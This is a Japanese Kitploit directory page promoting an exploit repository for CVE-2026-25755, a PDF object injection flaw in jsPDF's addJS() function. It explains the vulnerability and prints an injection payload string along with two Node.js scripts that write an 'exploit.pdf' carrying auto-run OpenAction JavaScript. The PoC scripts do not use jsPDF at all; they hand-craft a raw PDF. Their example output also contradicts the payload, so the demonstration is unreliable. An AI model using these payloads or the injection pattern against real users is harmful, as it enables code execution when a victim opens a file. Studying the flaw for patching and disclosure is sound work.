Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 jsPDFにおける重大なPDFオブジェクトインジェクションの脆弱性により、攻撃者はaddJS()関数を通じて任意のPDFオブジェクトを注入でき、PDFを開いた際にAcroJSサンドボックスバイパスと自動スクリプト実行が可能になります。 | Kitploit
ツール/GitHubGitHub/absholi7ly/jspdf-object-injection
脆弱性分析エクスプロイトウェブアプリケーション悪用ペイロード開発
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 jsPDFにおける重大なPDFオブジェクトインジェクションの脆弱性により、攻撃者はaddJS()関数を通じて任意のPDFオブジェクトを注入でき、PDFを開いた際にAcroJSサンドボックスバイパスと自動スクリプト実行が可能になります。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
1107ヶ月前未レビュー
共有

CVE-2026-25755 サンドボックスをバイパスするjsPDFの欠陥によるオブジェクトインジェクション

概要

jsPDF(クライアントサイドアプリケーションでPDF文書を生成するために広く使用されているJavaScriptライブラリ)において、重大なPDFオブジェクトインジェクションの脆弱性(CVE-2026-25755)が発見されました。この脆弱性はaddJS()関数に存在し、不適切な入力サニタイズにより、攻撃者が任意のPDFオブジェクトを注入し、AcroJSサンドボックスの制限をバイパスすることが可能になります。


根本原因

jsPDFのaddJS()関数は、開発者が生成されたPDFファイル内にJavaScriptコードを埋め込むことを可能にします。しかし、バージョン4.2.0より前では、この関数は特殊なPDF構文文字を含むユーザー入力を適切にサニタイズできていませんでした。

脆弱なコード(4.2.0より前)

function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

インジェクションベクトル

この関数は、エスケープ処理を行わずにユーザー入力をPDFオブジェクトストリームに直接連結します:

  • 開き括弧 (
  • 閉じ括弧 )
  • バックスラッシュ \

これにより、攻撃者はJavaScript文字列コンテキストを早期に閉じ、任意のPDFオブジェクトを注入することが可能になります。

PDF JavaScript構造

/JS (app.alert('Hello World'))

インジェクションペイロード

const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

PDFオブジェクトストリーム

/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     インジェクションポイント - 文字列コンテキストがエスケープされる

インジェクションメカニズム

ステップ動作結果
1) が元の /JS 文字列を閉じる文字列コンテキストが終了
2>> が現在のPDFオブジェクトを閉じるオブジェクト構造が破壊される
3/AA << /Open << ...新しいアクション辞書が注入される
4任意のPDFオブジェクトが追加される完全なオブジェクトインジェクションが達成される

PoCコード(Node.js)

exploit.jsという名前のファイルを作成し、以下を記述してください

import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

ペイロード

import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
node exploit.js を実行してください

結果: exploit.pdfファイルが同じフォルダに作成されました。

ツールをダウンロード